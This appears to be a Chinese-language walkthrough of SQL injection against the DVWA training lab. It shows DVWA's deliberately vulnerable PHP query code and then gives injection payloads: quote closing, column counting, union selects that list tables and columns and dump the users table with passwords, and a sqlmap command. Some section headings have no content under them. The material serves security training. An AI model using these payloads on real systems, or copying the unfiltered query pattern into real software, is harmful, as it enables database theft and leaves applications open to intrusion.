DVWA漏洞演练平台

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.

接下来你需要自行搭建DVWA的漏洞演练环境,我这里使用的系统环境是:Centos 7 + PHP 7 + MariaDB 5.5 + DVWA 1.10

<?php
if( isset($_REQUEST [ 'Submit' ])){
    // 根据ID号取出相应的字段
    $id = $_REQUEST[ 'id' ];
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    // 循环获取返回结果,并将其打印到屏幕上
    $num = mysql_numrows( $result ); 
    $i = 0;
    while( $i < $num ) {
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        $i++;
    }
    mysql_close();
}
?>

上面的代码就是低安全级别的核心代码了,观察后发现第5行,在查询语句的构建中并没有检查$id参数是否合法,而是直接带入到了数据库中进行了查询,很明显这里存在SQL注入漏洞可以直接利用.

当我们在输入框中输入1的时候,PHP解释器将会把 $id 替换成 1 ,实际上后台执行的SQL语句如下:

SELECT first_name, last_name FROM users WHERE user_id = '1';

由于PHP代码中并没有对 $id 参数进行合法化的过滤,导致我们可以巧妙地使用单引号完成SQL语句的闭合,并通过使用and,or,union 等命令拼接构建好的恶意SQL并带入数据库执行,如下我们可以这样构建一条具有闭合功能的SQL语句:

user_id = '$id' ----> $id = '1' and '1'='1' ---->  最终语句为: 1' and '1'='1

判断注入点:1.首先输入and 1=1 返回了结果,输入and 1=0 返回空,说明存在注入点。

判断字段数: 使用order by 判断字段数,输入order by 1显示正常,但输入order by 3 显示则错误,说明只有两个字段。

获取数据库敏感信息:

读取主机敏感文件:

获取数据库中的表:  1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

获取指定表中的字段: 0' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

脱库: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

获取登陆后的Cookie:

F12调试模式,登录成功后,可看到cookie

随便输入用户名密码,点击登录跳转到登录页面。

修改,将上方得到的cookie填充到此处,此处我的cookie是;

 放行数据,即可登录完成。

保存下面的数据包,然后放入sqlmap根目录。

直接使用 sqlmap.py -r post.txt -p id --dbs 完成注入演示。

原文地址:https://www.cnblogs.com/LyShark/p/11294000.html